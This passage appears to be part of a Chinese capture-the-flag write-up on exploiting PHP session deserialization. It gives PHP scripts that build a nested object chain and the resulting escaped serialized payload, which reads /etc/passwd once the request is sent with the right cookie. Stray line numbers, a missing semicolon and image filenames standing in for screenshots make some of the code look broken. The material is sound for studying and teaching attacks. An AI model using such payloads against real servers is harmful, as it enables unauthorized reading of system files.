9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Happy {
public $happy;
}

class _New_{
public $daniu;
public $robot;
public $notrobot;

}
class Year{
public $zodiac;

}

$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
echo serialize($a);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "class.php";
//$data = $_POST['data'];
//unserialize($data);

$h = new Happy();
$h->happy = new _New_();
$h->happy->daniu = new _New_();
$h->happy->daniu->daniu = new Year();
$h->happy->daniu->robot = "zodiac";
$h->happy->daniu->notrobot = '/etc/passwd'

echo urlencode(serialize($h));

生成payload

1
O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}

这里我们需要在payload前加上|以及用\来转义"

最终payload

1
|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}

发包, 们会发现他这里有一个image-20230207220632124

所以我们需要把cookie补上, 成功image-20230207220718359

 Comments